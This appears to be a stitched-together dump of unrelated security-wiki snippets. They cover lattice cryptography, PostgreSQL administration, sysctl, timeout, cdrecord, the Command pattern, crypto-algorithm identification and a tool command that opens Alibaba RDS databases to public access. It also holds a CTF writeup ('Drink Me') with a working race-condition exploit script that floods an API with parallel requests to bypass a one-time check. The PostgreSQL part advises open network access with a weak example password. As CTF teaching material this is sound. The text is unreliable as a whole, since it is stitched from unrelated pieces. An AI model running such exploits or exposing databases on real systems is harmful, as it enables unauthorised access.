00001100 43 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |C...............|
```
We noticed every number appears just once, so this was probably a transposition table. From now on, we had to just write a
simple script to apply the permutation to get the flag.
|
sec-knowleage
|
---
title: 公开访问
---
## 在阿里云上创建 RDS 公开访问
使用以下命令为 RDS 启用公开访问。
```bash
cf alibaba rds public
```
### 查看已经公开的信息
加上 ls 列出配置过的公开访问信息。
```bash
cf alibaba rds public ls
```
### 取消公开共享
加上 cancel 取消公开访问。
```bash
cf alibaba rds public cancel
```
<Vssue />
<script>
export default {
mounted () {
this.$page.lastUpdated = "2023 年 7 月 1 日"
}
}
</script>
|
sec-knowleage
|
# 基本介绍
## 格定义
格是 m 维欧式空间 $R^m$ 的 n ($m\geq n$) 个线性无关向量$b_i(1\leq i \leq n)$ 的所有整系数的线性组合,即
$L(B)=\{\sum\limits_{i=1}^{n}x_ib_i:x_i \in Z,1\leq i \leq n\}$
这里 B 就是 n 个向量的集合,我们称
- 这 n 个向量是格 L 的一组基。
- 格 L 的秩为 n。
- 格 L 的位数为 m。
如果 m=n,那么我们称这个格式满秩的。
当然,也可以是其它群,不是 $R^m$。
## 格中若干基本定义
### successive minima
格是 m 维欧式空间 $R^m$ 的秩为 n 的格,那么 L 的连续最小长度(successive minima)为 $\lambda_1,...,\lambda_n \in R$,满足对于任意的 $1\leq i\leq n$,$\lambda_i$ 是满足格中 i 个线性无关的向量$v_i$, $||v_j||\leq \lambda_i,1\leq j\leq i$ 的最小值。
自然的 $\lambda_i \leq \lambda_j ,\forall i <j$。
## 格中计算困难性问题
**最短向量问题(Shortest Vector Problem,SVP)**:给定格 L 及其基向量 B ,找到格 L 中的非零向量 v 使得对于格中的任意其它非零向量 u,$||v|| \leq ||u||$。
**$\gamma$-近似最短向量问题(SVP-$\gamma$)**:给定格 L,找到格 L 中的非零向量 v 使得对于格中的任意其它非零向量 u,$||v|| \leq \gamma||u||$。
**连续最小长度问题(Successive Minima Problem, SMP)**:给定秩为 n 的格 L,找到格 L 中 n 个线性无关向量 $s_i$,满足 $\lambda_i(L)=||s_i||, 1\leq i \leq n$。
**最短线性无关向量问题(Shortest Independent Vector Problem, SIVP)**:给定一个秩为 n 的格 L,找到格 L 中 n 个线性无关向量 $s_i$,满足$||s_i|| \leq \lambda_n(L), 1\leq i \leq n$。
**唯一最短向量问题(Unique Shortest Vector Problem, uSVP-$\gamma$)**:给定格 L,满足 $ \lambda_2(L) > \gamma \lambda_1(L)$,找到该格的最短向量。
**最近向量问题(Closest Vector Problem,CVP)**:给定格 L和目标向量 $t\in R^m$,找到一个格中的非零向量 v,使得对于格中的任意非零向量 u,满足 $||v-t|| \leq ||u-t||$ 。
|
sec-knowleage
|
# Postgresql
---
**简介**
PostgreSQL是一种先进的对象-关系数据库管理系统(ORDBMS),它不仅支持关系数据库的各种功能,而且还具备类、继承等对象数据库的特征。
**cli连接**
```bash
psql postgres://账户:密码@地址:5432/数据库名称
# 例如
psql postgres://postgres:Abcd1234@127.0.0.1:5432/test
```
**cli下**
```bash
# 查看已经存在的数据库
\l
# 进入数据库
\c + 数据库名
# 查看表格
\d
```
**报错 : FATAL: no pg_hba.conf entry for host *** user “postgres“, database “postgres“, SSL**
修改 pg_hba.conf
```
host all all 0.0.0.0/0 md5
```
**配置监听**
配置 postgresql.conf
```
listen_addresses = '*'
```
## 账户
**更改密码**
```sql
-- 更改 postgres 密码为 Abcd1234
ALTER USER postgres WITH PASSWORD 'Abcd1234';
```
## 导入导出
**导出单表数据**
```
pg_dump -h 127.0.0.1 -U admin -p 5432 -W db -t t1 -inserts > bak.sql
```
**导出多个表数据**
```
pg_dump -h 127.0.0.1 -U admin -p 5432 -W db -t t1 -t t2 -inserts > bak.sql
```
**导出整个数据库**
```
pg_dump -h 127.0.0.1 -U admin -p 5432 -W db -inserts > bak.sql
```
**只导出表结构,不导出数据**
```
pg_dump -h 127.0.0.1 -U admin -p 5432 -W db -s > bak.sql
```
**只导出数据,不导出表结构**
```
pg_dump -h 127.0.0.1 -U admin -p 5432 -W db -inserts -a > bak.sql
```
**postgresql 导入数据源**
```
pg_restore -h 127.0.0.1 -p 5432 -U postgres -W -d test -v "test.dump"
```
---
## Source & Reference
- [PostgreSQL 数据库导入导出](https://blog.51cto.com/niuben/4877093)
- https://qa.1r1g.com/sf/ask/890467721/
- https://blog.csdn.net/qq_50119033/article/details/120922628
|
sec-knowleage
|
# Writeup CSAW CTF Quals 2016
Team: c7f.m0d3, cr019283, nazywam, rev, msm, akrasuski1, shalom

### Table of contents
* [Sleeping guard (Crypto)](sleeping_guard)
* [Fuzyll (Recon)](fuzyll)
* [Regexpire (Misc/PPC)](regexpire)
* [Broken box (Crypto)](broken_box)
* [Still broken box (Crypto)](still_broken_box)
* [Neo (Crypto)](neo)
|
sec-knowleage
|
sysctl
===
时动态地修改内核的运行参数
## 补充说明
**sysctl命令** 被用于在内核运行时动态地修改内核的运行参数,可用的内核参数在目录`/proc/sys`中。它包含一些TCP/ip堆栈和虚拟内存系统的高级选项, 这可以让有经验的管理员提高引人注目的系统性能。用sysctl可以读取设置超过五百个系统变量。
### 语法
```shell
sysctl(选项)(参数)
```
### 选项
```shell
-n:打印值时不打印关键字;
-e:忽略未知关键字错误;
-N:仅打印名称;
-w:当改变sysctl设置时使用此项;
-p:从配置文件“/etc/sysctl.conf”加载内核参数设置;
-a:打印当前所有可用的内核参数变量和值;
-A:以表格方式打印当前所有可用的内核参数变量和值。
```
### 参数
变量=值:设置内核参数对应的变量值。
### 实例
查看所有可读变量:
sysctl -a
读一个指定的变量,例如`kern.maxproc`:
sysctl kern.maxproc kern.maxproc: 1044
要设置一个指定的变量,直接用`variable=value`这样的语法:
```shell
sysctl kern.maxfiles=5000
kern.maxfiles: 2088 -> 5000
```
您可以使用sysctl修改系统变量,也可以通过编辑sysctl.conf文件来修改系统变量。sysctl.conf看起来很像rc.conf。它用`variable=value`的形式来设定值。指定的值在系统进入多用户模式之后被设定。并不是所有的变量都可以在这个模式下设定。
sysctl变量的设置通常是字符串、数字或者布尔型。(布尔型用 1 来表示'yes',用 0 来表示'no')。
```shell
sysctl -w kernel.sysrq=0
sysctl -w kernel.core_uses_pid=1
sysctl -w net.ipv4.conf.default.accept_redirects=0
sysctl -w net.ipv4.conf.default.accept_source_route=0
sysctl -w net.ipv4.conf.default.rp_filter=1
sysctl -w net.ipv4.tcp_syncookies=1
sysctl -w net.ipv4.tcp_max_syn_backlog=2048
sysctl -w net.ipv4.tcp_fin_timeout=30
sysctl -w net.ipv4.tcp_synack_retries=2
sysctl -w net.ipv4.tcp_keepalive_time=3600
sysctl -w net.ipv4.tcp_window_scaling=1
sysctl -w net.ipv4.tcp_sack=1
```
### 配置sysctl
编辑此文件:`/etc/sysctl.conf`
如果该文件为空,则输入以下内容,否则请根据情况自己做调整:
```shell
# Controls source route verification
# Default should work for all interfaces
net.ipv4.conf.default.rp_filter = 1
# net.ipv4.conf.all.rp_filter = 1
# net.ipv4.conf.lo.rp_filter = 1
# net.ipv4.conf.eth0.rp_filter = 1
# Disables IP source routing
# Default should work for all interfaces
net.ipv4.conf.default.accept_source_route = 0
# net.ipv4.conf.all.accept_source_route = 0
# net.ipv4.conf.lo.accept_source_route = 0
# net.ipv4.conf.eth0.accept_source_route = 0
# Controls the System Request debugging functionality of the kernel
kernel.sysrq = 0
# Controls whether core dumps will append the PID to the core filename.
# Useful for debugging multi-threaded applications.
kernel.core_uses_pid = 1
# Increase maximum amount of memory allocated to shm
# Only uncomment if needed!
# kernel.shmmax = 67108864
# Disable ICMP Redirect Acceptance
# Default should work for all interfaces
net.ipv4.conf.default.accept_redirects = 0
# net.ipv4.conf.all.accept_redirects = 0
# net.ipv4.conf.lo.accept_redirects = 0
# net.ipv4.conf.eth0.accept_redirects = 0
# enable Log Spoofed Packets, Source Routed Packets, Redirect Packets
# Default should work for all interfaces
net.ipv4.conf.default.log_martians = 1
# net.ipv4.conf.all.log_martians = 1
# net.ipv4.conf.lo.log_martians = 1
# net.ipv4.conf.eth0.log_martians = 1
# Decrease the time default value for tcp_fin_timeout connection
net.ipv4.tcp_fin_timeout = 25
# Decrease the time default value for tcp_keepalive_time connection
net.ipv4.tcp_keepalive_time = 1200
# Turn on the tcp_window_scaling
net.ipv4.tcp_window_scaling = 1
# Turn on the tcp_sack
net.ipv4.tcp_sack = 1
# tcp_fack should be on because of sack
net.ipv4.tcp_fack = 1
# Turn on the tcp_timestamps
net.ipv4.tcp_timestamps = 1
# Enable TCP SYN Cookie Protection
net.ipv4.tcp_syncookies = 1
# Enable ignoring broadcasts request
net.ipv4.icmp_echo_ignore_broadcasts = 1
# Enable bad error message Protection
net.ipv4.icmp_ignore_bogus_error_responses = 1
# make more local ports available
# net.ipv4.ip_local_port_range = 1024 65000
# set TCP Re-Ordering value in kernel to ‘5′
net.ipv4.tcp_reordering = 5
# Lower syn retry rates
net.ipv4.tcp_synack_retries = 2
net.ipv4.tcp_syn_retries = 3
# Set Max SYN Backlog to ‘2048′
net.ipv4.tcp_max_syn_backlog = 2048
# Various Settings
net.core.netdev_max_backlog = 1024
# Increase the maximum number of skb-heads to be cached
net.core.hot_list_length = 256
# Increase the tcp-time-wait buckets pool size
net.ipv4.tcp_max_tw_buckets = 360000
# This will increase the amount of memory available for socket input/output queues
net.core.rmem_default = 65535
net.core.rmem_max = 8388608
net.ipv4.tcp_rmem = 4096 87380 8388608
net.core.wmem_default = 65535
net.core.wmem_max = 8388608
net.ipv4.tcp_wmem = 4096 65535 8388608
net.ipv4.tcp_mem = 8388608 8388608 8388608
net.core.optmem_max = 40960
```
如果希望屏蔽别人 ping 你的主机,则加入以下代码:
```shell
# Disable ping requests
net.ipv4.icmp_echo_ignore_all = 1
```
编辑完成后,请执行以下命令使变动立即生效:
```shell
/sbin/sysctl -p
/sbin/sysctl -w net.ipv4.route.flush=1
```
|
sec-knowleage
|
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5.
.\"*******************************************************************
.\"
.\" This file was generated with po4a. Translate the source file.
.\"
.\"*******************************************************************
.TH TIMEOUT 1 2022年9月 "GNU coreutils 9.1" 用户命令
.SH 名称
timeout \- 在规定时限内运行一个命令
.SH 概述
\fBtimeout\fP [\fI\,选项列表\/\fP] \fI\,持续时间 命令 \/\fP[\fI\,参数列表\/\fP]...
.br
\fBtimeout\fP [\fI\,选项列表\/\fP]
.SH 描述
.\" Add any additional description here
.PP
运行所给命令,如果它超过指定时间后仍在运行,则杀死其进程。
.PP
必选参数对长短选项同时适用。
.HP
\fB\-\-preserve\-status\fP
.IP
将退出状态值设为与所运行指令的退出状态相同的值,即使
.IP
指令运行超时
.HP
\fB\-\-foreground\fP
.IP
当不是直接在 shell 命令提示符下运行 timeout 的情况下使用,
.IP
允许所运行命令直接由 TTY 读取数据,并且接收 TTY 的信号;在这种模式下,所运行命令的子进程将不会被 timeout 的超时控制所考虑
.HP
\fB\-k\fP, \fB\-\-kill\-after\fP=\fI\,持续时间\/\fP
.IP
如果初始信号已发出且再次等待了指定时间之后
.IP
所运行命令仍在运行则发出 KILL 信号
.HP
\fB\-s\fP, \fB\-\-signal\fP=\fI\,信号\/\fP
.IP
指定超时发生时应当送出的信号;
.IP
信号可以是类似“HUP”的信号名或是信号数;从“kill \fB\-l\fP”的输出可获得信号的列表
.TP
\fB\-v\fP, \fB\-\-verbose\fP
对任何超时后发送的信号,向标准错误输出诊断信息
.TP
\fB\-\-help\fP
显示此帮助信息并退出
.TP
\fB\-\-version\fP
显示版本信息并退出
.PP
持续时间应当是一个浮点数,后缀是可选的:\&“s”表示秒(默认值),“m”表示分钟,“h”表示小时,或者使用“d”表示天数。若持续时间为
0,将禁用所关联的超时配置。
.PP
超时以后,如果没有指定其他“信号”,则向给定“命令”发送 TERM 信号。TERM 信号将杀死没有阻塞或捕获该信号的进程。有时可能需要使用 KILL
信号,因为此信号无法被捕获。
.SS 退出状态:
.TP
124
如果指定“命令”超时,且未指定 \fB\-\-preserve\-status\fP 选项
.TP
125
如果 timeout 命令本身执行失败
.TP
126
如果找到了命令,但无法执行
.TP
127
如果未找到命令
.TP
137
如果命令(或 timeout 命令本身)收到了 KILL (9) 信号(即 128+9)
.TP
\-
其他情况下,退出状态是命令的退出状态
.SH 缺陷
某些平台目前不支持将超时时间设置为超过 2038 年。
.SH 作者
由 Padraig Brady 编写。
.SH 报告错误
GNU coreutils 的在线帮助: <https://www.gnu.org/software/coreutils/>
.br
请向 <https://translationproject.org/team/zh_CN.html> 报告翻译错误。
.SH 版权
Copyright \(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL
version 3 or later <https://gnu.org/licenses/gpl.html>.
.br
This is free software: you are free to change and redistribute it. There is
NO WARRANTY, to the extent permitted by law.
.SH 参见
\fBkill\fP(1)
.PP
.br
完整文档请见: <https://www.gnu.org/software/coreutils/timeout>
.br
或者在本地使用: info \(aq(coreutils) timeout invocation\(aq
|
sec-knowleage
|
# Drink Me
* Category: Web
* 150 Points
* Solved by the JCTF Team
## Description
> Alice can't fit through the little door to get into the beautiful garden because she is too big.
> Suddenly she notices a glass bottle has magically appeared on the table.
> It has a pink label that says "DRINK ME" tied around it.
> Drinking from the bottle will hopefully shrink her.
>
> So come on, hurry up, before it's too late.
## Solution
We visit the attached website and are greeted with a simple interactive game starring Alice from Wonderland.
On the table next to here are a key and a potion labeled "Drink Me".
If we click the key, the game says "Too Big!". We can drink the potion and shrink a bit, but even after shrinking,
clicking the key still says "Too Big!" (and the potion is gone).
Let's check the sources:
```javascript
// version 2.0
$(document).ready(() => {
getSize();
$("#key").on("click", function() {
useKey();
});
$("#reset").on("click", async () => {
await fetch('/api/reset', {
method: 'GET',
}).then(() => location.reload())
});
});
const getSize = async () => {
await fetch('/api/getsize', {
method: 'GET',
})
.then((response) => response.json()
.then((resp) => {
if (response.status == 200) {
$('#alice').css('transform', 'scale(' + `${1/(Math.sqrt(resp.size))}` + ')');
if (!resp.shrinked) {
const potionDiv = document.createElement("div");
potionDiv.setAttribute("id", "potion");
potionDiv.setAttribute("class", "potion");
const potionImg = document.createElement("img");
potionImg.setAttribute("src","../static/images/potion.png")
potionDiv.appendChild(potionImg);
document.getElementById("table-wrapper").appendChild(potionDiv);
$("#potion").on("click", function() {
drink();
});
}
return;
}
}))
.catch((error) => {
console.log(error);
});
}
const drink = async () => {
await fetch('/api/drink', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({ shrink: '2x'}),
})
.then((resp) => {
if (resp.status == 200) {
getSize();
$('#potion').fadeOut(100);
}
resp.text().then(txt => { document.getElementById("notes").innerHTML = txt; });
})
.catch((error) => {
console.log(error);
});
}
const useKey = async () => {
await fetch('/api/usekey', {
method: 'POST',
header: {
'Content-Type': 'application/json',
},
body: JSON.stringify({ key: 'open door'})
})
.then((resp) => {
if (resp.status == 200) {
$('#key').hide();
$('#alice').hide();
$('#wrapper').css('background-image', 'url("/static/images/background-open.png")');
}
resp.text().then(txt => { document.getElementById("notes").innerHTML = txt; });
})
.catch((error) => {
console.log(error);
})
}
// Follow me for more ;)
// https://github.com/AbsalomNargilotLTD
```
We can see that the actions that we performed are forwarded to remote APIs. We also get a tempting suggestion to follow a GitHub link for more info.
In the GitHub repo, we can find the server side code. We have the API implementation:
```javascript
const fs = require('fs');
const express = require('express');
const router = express.Router();
const AuthMiddleware = require('../middleware/AuthMiddleware');
let db;
router.get('/', (req, res) => {
return res.render('index.html');
});
const checkAlice = async (req, alice) => {
if (alice === undefined) {
await db.welcomeAlice(req.data.alice);
alice = { alice: req.data.alice, size: 1, shrinked: 0 };
}
return alice;
}
router.post('/api/useKey', AuthMiddleware, async (req, res) => {
let aliceData = await db.getAliceData(req.data.alice);
aliceData = await checkAlice(req, aliceData);
if (aliceData.size < 16) return res.status(403).send("Too big!");
let flag = fs.readFileSync('flag').toString();
res.status(200).send(`You may enter! Your size is ${aliceData.size}. Flag: ${flag}`);
});
router.post('/api/drink', AuthMiddleware, async (req, res) => {
let aliceData = await db.getAliceData(req.data.alice);
aliceData = await checkAlice(req, aliceData);
if (aliceData.shrinked) {
return res.status(401).send("Can't drink again!");
}
try {
await db.makeSmall(aliceData.alice);
await db.setShrinked(aliceData.alice);
aliceData = await db.getAliceData(req.data.alice);
res.status(200).send("Alice shrinked!");
} catch (e) {
res.status(500).send("Failed to shrink!");
}
});
router.get('/api/getsize', AuthMiddleware, async (req, res) => {
let aliceData = await db.getAliceData(req.data.alice);
aliceData = await checkAlice(req, aliceData);
return res.status(200).send({ "size":aliceData.size, "shrinked":aliceData.shrinked});
});
router.get('/api/reset', async (req, res) => {
res.clearCookie('session');
res.status(200).send("Session was reset");
});
module.exports = database => {
db = database;
return router;
};
```
And some backend Database logic:
```javascript
const sqlite = require('sqlite-async');
class Database {
constructor(db_file) {
this.db_file = db_file;
this.db = undefined;
}
async connect() {
this.db = await sqlite.open(this.db_file);
}
async migrate() {
return this.db.exec(`
DROP TABLE IF EXISTS wonderland;
CREATE TABLE IF NOT EXISTS wonderland (
id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
alice VARCHAR(255) NOT NULL UNIQUE,
size INTEGER NOT NULL,
shrinked BOOLEAN NOT NULL
);
`);
}
async welcomeAlice(alice) {
return new Promise(async (resolve, reject) => {
try {
let stmt = await this.db.prepare('INSERT INTO wonderland (alice, size, shrinked) VALUES ( ?, 1, 0)');
resolve((await stmt.run(alice)));
} catch(e) {
reject(e);
}
});
}
async getAliceData(alice) {
return new Promise(async (resolve, reject) => {
try {
let stmt = await this.db.prepare('SELECT * FROM wonderland WHERE alice = ?');
resolve(await stmt.get(alice));
} catch(e) {
reject(e);
}
});
}
async setShrinked(alice) {
return new Promise(async (resolve, reject) => {
try {
let stmt = await this.db.prepare('UPDATE wonderland SET shrinked = 1 WHERE alice = ?');
resolve(await stmt.get(alice));
} catch(e) {
reject(e);
}
});
}
async makeSmall(alice) {
return new Promise(async (resolve, reject) => {
try {
let stmt = await this.db.prepare('UPDATE wonderland SET size = size * 2 WHERE alice = ?');
resolve(await stmt.get(alice));
} catch(e) {
reject(e);
}
});
}
}
module.exports = Database;
```
So now we understand why the potion disappeared after drinking it:
```javascript
router.post('/api/drink', AuthMiddleware, async (req, res) => {
let aliceData = await db.getAliceData(req.data.alice);
aliceData = await checkAlice(req, aliceData);
if (aliceData.shrinked) {
return res.status(401).send("Can't drink again!");
}
try {
await db.makeSmall(aliceData.alice);
await db.setShrinked(aliceData.alice);
aliceData = await db.getAliceData(req.data.alice);
res.status(200).send("Alice shrinked!");
} catch (e) {
res.status(500).send("Failed to shrink!");
}
});
```
We can only drink the potion once. Once we drink it, the server sets `shrinked` to `true` and this blocks the logic from running on a second call:
```python
>>> import requests
>>> URL = "https://intent-drink-me.chals.io"
>>> r = requests.get(f"{URL}/api/getsize")
>>> r.text
>>> {'size': 1, 'shrinked': 0}
>>> cookies = r.cookies
>>> r = requests.post(f"{URL}/api/drink", cookies=cookies)
>>> r.text
'Alice shrinked!'
>>> r = requests.post(f"{URL}/api/drink", cookies=cookies)
>>> r.text
"Can't drink again!"
```
On the other hand, we must have a size of at least 16 in order to get the flag:
```javascript
router.post('/api/useKey', AuthMiddleware, async (req, res) => {
let aliceData = await db.getAliceData(req.data.alice);
aliceData = await checkAlice(req, aliceData);
if (aliceData.size < 16) return res.status(403).send("Too big!");
let flag = fs.readFileSync('flag').toString();
res.status(200).send(`You may enter! Your size is ${aliceData.size}. Flag: ${flag}`);
});
```
The only way to get that small is to drink the potion multiple times, since every time we drink it our size gets multiplied by 2:
```javascript
async makeSmall(alice) {
return new Promise(async (resolve, reject) => {
try {
let stmt = await this.db.prepare('UPDATE wonderland SET size = size * 2 WHERE alice = ?');
resolve(await stmt.get(alice));
} catch(e) {
reject(e);
}
});
}
```
What can we do? Well, a closer inspection of the implementation reveals a concurrency bug: The different database statements are not protected by an atomic transaction.
In other words, if enough calls to `makeSmall` get through before the first call to `setShrinked` happens, Alice will be able to get much small than the API wants to allow.
To achieve this, we use the `grequests` library to send multiple async requests to `/api/drink`, hoping that enough execute the size statement before the first one executes the shrinking statement.
Here's the script:
```python
import grequests
import requests
URL = "https://intent-drink-me.chals.io"
r = requests.get(f"{URL}/api/getsize")
print(f"Alice's size: {r.json()['size']}")
cookies = r.cookies
times = 100
print(f"Drinking {times} times in parallel")
grequests.map([grequests.post(f"{URL}/api/drink", cookies=cookies) for _ in range(times)])
r = requests.get(f"{URL}/api/getsize", cookies=cookies)
print(f"Alice's size: {r.json()['size']}")
r = requests.post(f"{URL}/api/usekey", cookies=cookies)
print(r.text)
```
Execute it a few times to get the flag:
```console
┌──(user@kali)-[/media/sf_CTFs/intent/Drink_Me]
└─$ python3 solve.py
Alice's size: 1
Drinking 100 times in parallel
Alice's size: 32
You may enter! Your size is 32. Flag: INTENT{wh47_a_cur10u5_f331ln9!}
```
|
sec-knowleage
|
## 2. 命令(Command)
### Intent
将命令封装成对象中,具有以下作用:
- 使用命令来参数化其它对象
- 将命令放入队列中进行排队
- 将命令的操作记录到日志中
- 支持可撤销的操作
### Class Diagram
- Command:命令
- Receiver:命令接收者,也就是命令真正的执行者
- Invoker:通过它来调用命令
- Client:可以设置命令与命令的接收者
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/c44a0342-f405-4f17-b750-e27cf4aadde2.png"/> </div><br>
### Implementation
设计一个遥控器,可以控制电灯开关。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/e6bded8e-41a0-489a-88a6-638e88ab7666.jpg"/> </div><br>
```java
public interface Command {
void execute();
}
```
```java
public class LightOnCommand implements Command {
Light light;
public LightOnCommand(Light light) {
this.light = light;
}
@Override
public void execute() {
light.on();
}
}
```
```java
public class LightOffCommand implements Command {
Light light;
public LightOffCommand(Light light) {
this.light = light;
}
@Override
public void execute() {
light.off();
}
}
```
```java
public class Light {
public void on() {
System.out.println("Light is on!");
}
public void off() {
System.out.println("Light is off!");
}
}
```
```java
/**
* 遥控器
*/
public class Invoker {
private Command[] onCommands;
private Command[] offCommands;
private final int slotNum = 7;
public Invoker() {
this.onCommands = new Command[slotNum];
this.offCommands = new Command[slotNum];
}
public void setOnCommand(Command command, int slot) {
onCommands[slot] = command;
}
public void setOffCommand(Command command, int slot) {
offCommands[slot] = command;
}
public void onButtonWasPushed(int slot) {
onCommands[slot].execute();
}
public void offButtonWasPushed(int slot) {
offCommands[slot].execute();
}
}
```
```java
public class Client {
public static void main(String[] args) {
Invoker invoker = new Invoker();
Light light = new Light();
Command lightOnCommand = new LightOnCommand(light);
Command lightOffCommand = new LightOffCommand(light);
invoker.setOnCommand(lightOnCommand, 0);
invoker.setOffCommand(lightOffCommand, 0);
invoker.onButtonWasPushed(0);
invoker.offButtonWasPushed(0);
}
}
```
### JDK
- [java.lang.Runnable](http://docs.oracle.com/javase/8/docs/api/java/lang/Runnable.html)
- [Netflix Hystrix](https://github.com/Netflix/Hystrix/wiki)
- [javax.swing.Action](http://docs.oracle.com/javase/8/docs/api/javax/swing/Action.html)
|
sec-knowleage
|
cdrecord
===
Linux系统下光盘刻录功能命令
## 补充说明
**cdrecord命令** 用于Linux系统下光盘刻录,它支持cd和DVD格式。linux下一般都带有cdrecord软件。
### 语法
```shell
cdrecord(选项)(参数)
```
### 选项
```shell
-v:显示刻录光盘的详细过程;
-eject:刻录完成后弹出光盘;
speed=<刻录倍速>:指定光盘刻录的倍速;
dev=<刻录机设备号>:指定使用“-scanbus”参数扫描到的刻录机的设备号;
-scanbus:扫描系统中可用的刻录机。
```
### 参数
ISO文件:指定刻录光盘使用的ISO映像文件。
### 实例
查看系统所有 CD-R(w) 设备:
```shell
cdrecord -scanbus
scsibus0:
0,0,0 0) *
0,1,0 1) *
0,2,0 2) *
0,3,0 3) 'HP ' 'CD-Writer+ 9200 ' '1.0c' Removable CD-ROM
```
用iso文件刻录一张光盘:
```shell
cdrecord -v -eject speed=4 dev=0,3,0 backup.iso
```
参数解释
* -v:显示刻录光盘的详细过程
* -eject:刻完自动弹出光盘
* speed=4 dev=0,3,0:四速刻录到HP CD-writer设备上。
擦写光驱:
```shell
cdrecord --dev=0,3,0 --blank=fast
```
|
sec-knowleage
|
# 常见加密算法和编码识别
## 前言
在对数据进行变换的过程中,除了简单的字节操作之外,还会使用一些常用的编码加密算法,因此如果能够快速识别出对应的编码或者加密算法,就能更快的分析出整个完整的算法。CTF 逆向中通常出现的加密算法包括base64、TEA、AES、RC4、MD5等。
## Base64
Base64 是一种基于64个可打印字符来表示二进制数据的表示方法。转换的时候,将3字节的数据,先后放入一个24位的缓冲区中,先来的字节占高位。数据不足3字节的话,于缓冲器中剩下的比特用0补足。每次取出6比特(因为 ),按照其值选择`ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ `中的字符作为编码后的输出,直到全部输入数据转换完成。
通常而言 Base64 的识别特征为索引表,当我们能找到 `ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ ` 这样索引表,再经过简单的分析基本就能判定是 Base64 编码。
当然,有些题目 base64 的索引表是会变的,一些变种的 base64 主要 就是修改了这个索引表。
## Tea
在[密码学](https://zh.wikipedia.org/wiki/%E5%AF%86%E7%A0%81%E5%AD%A6)中,**微型加密算法**(Tiny Encryption Algorithm,TEA)是一种易于描述和[执行](https://zh.wikipedia.org/w/index.php?title=%E6%89%A7%E8%A1%8C&action=edit&redlink=1)的[块密码](https://zh.wikipedia.org/wiki/%E5%A1%8A%E5%AF%86%E7%A2%BC),通常只需要很少的代码就可实现。其设计者是[剑桥大学计算机实验室](https://zh.wikipedia.org/wiki/%E5%89%91%E6%A1%A5%E5%A4%A7%E5%AD%A6)的[大卫·惠勒](https://zh.wikipedia.org/w/index.php?title=%E5%A4%A7%E5%8D%AB%C2%B7%E6%83%A0%E5%8B%92&action=edit&redlink=1)与[罗杰·尼达姆](https://zh.wikipedia.org/w/index.php?title=%E7%BD%97%E6%9D%B0%C2%B7%E5%B0%BC%E8%BE%BE%E5%A7%86&action=edit&redlink=1)。
参考代码:
```c
#include <stdint.h>
void encrypt (uint32_t* v, uint32_t* k) {
uint32_t v0=v[0], v1=v[1], sum=0, i; /* set up */
uint32_t delta=0x9e3779b9; /* a key schedule constant */
uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */
for (i=0; i < 32; i++) { /* basic cycle start */
sum += delta;
v0 += ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
v1 += ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
} /* end cycle */
v[0]=v0; v[1]=v1;
}
void decrypt (uint32_t* v, uint32_t* k) {
uint32_t v0=v[0], v1=v[1], sum=0xC6EF3720, i; /* set up */
uint32_t delta=0x9e3779b9; /* a key schedule constant */
uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */
for (i=0; i<32; i++) { /* basic cycle start */
v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
sum -= delta;
} /* end cycle */
v[0]=v0; v[1]=v1;
}
```
在 Tea 算法中其最主要的识别特征就是 拥有一个 magic number :0x9e3779b9 。当然,这 Tea 算法也有魔改的,感兴趣的可以看 2018 0ctf Quals milk-tea。
## RC4
在[密码学](https://zh.wikipedia.org/wiki/%E5%AF%86%E7%A2%BC%E5%AD%B8)中,**RC4**(来自Rivest Cipher 4的缩写)是一种[流加密](https://zh.wikipedia.org/wiki/%E6%B5%81%E5%8A%A0%E5%AF%86)算法,[密钥](https://zh.wikipedia.org/wiki/%E5%AF%86%E9%92%A5)长度可变。它加解密使用相同的密钥,因此也属于[对称加密算法](https://zh.wikipedia.org/wiki/%E5%AF%B9%E7%A7%B0%E5%8A%A0%E5%AF%86)。RC4是[有线等效加密](https://zh.wikipedia.org/wiki/%E6%9C%89%E7%B7%9A%E7%AD%89%E6%95%88%E5%8A%A0%E5%AF%86)(WEP)中采用的加密算法,也曾经是[TLS](https://zh.wikipedia.org/wiki/%E4%BC%A0%E8%BE%93%E5%B1%82%E5%AE%89%E5%85%A8%E5%8D%8F%E8%AE%AE)可采用的算法之一。
```C
void rc4_init(unsigned char *s, unsigned char *key, unsigned long Len) //初始化函数
{
int i =0, j = 0;
char k[256] = {0};
unsigned char tmp = 0;
for (i=0;i<256;i++) {
s[i] = i;
k[i] = key[i%Len];
}
for (i=0; i<256; i++) {
j=(j+s[i]+k[i])%256;
tmp = s[i];
s[i] = s[j]; //交换s[i]和s[j]
s[j] = tmp;
}
}
void rc4_crypt(unsigned char *s, unsigned char *Data, unsigned long Len) //加解密
{
int i = 0, j = 0, t = 0;
unsigned long k = 0;
unsigned char tmp;
for(k=0;k<Len;k++) {
i=(i+1)%256;
j=(j+s[i])%256;
tmp = s[i];
s[i] = s[j]; //交换s[x]和s[y]
s[j] = tmp;
t=(s[i]+s[j])%256;
Data[k] ^= s[t];
}
}
```
通过分析初始化代码,可以看出初始化代码中,对字符数组s进行了初始化赋值,且赋值分别递增。之后对s进行了256次交换操作。通过识别初始化代码,可以知道rc4算法。
其伪代码表示为:
初始化长度为256的[S盒](https://zh.wikipedia.org/wiki/S%E7%9B%92)。第一个for循环将0到255的互不重复的元素装入S盒。第二个for循环根据密钥打乱S盒。
```c
for i from 0 to 255
S[i] := i
endfor
j := 0
for( i=0 ; i<256 ; i++)
j := (j + S[i] + key[i mod keylength]) % 256
swap values of S[i] and S[j]
endfor
```
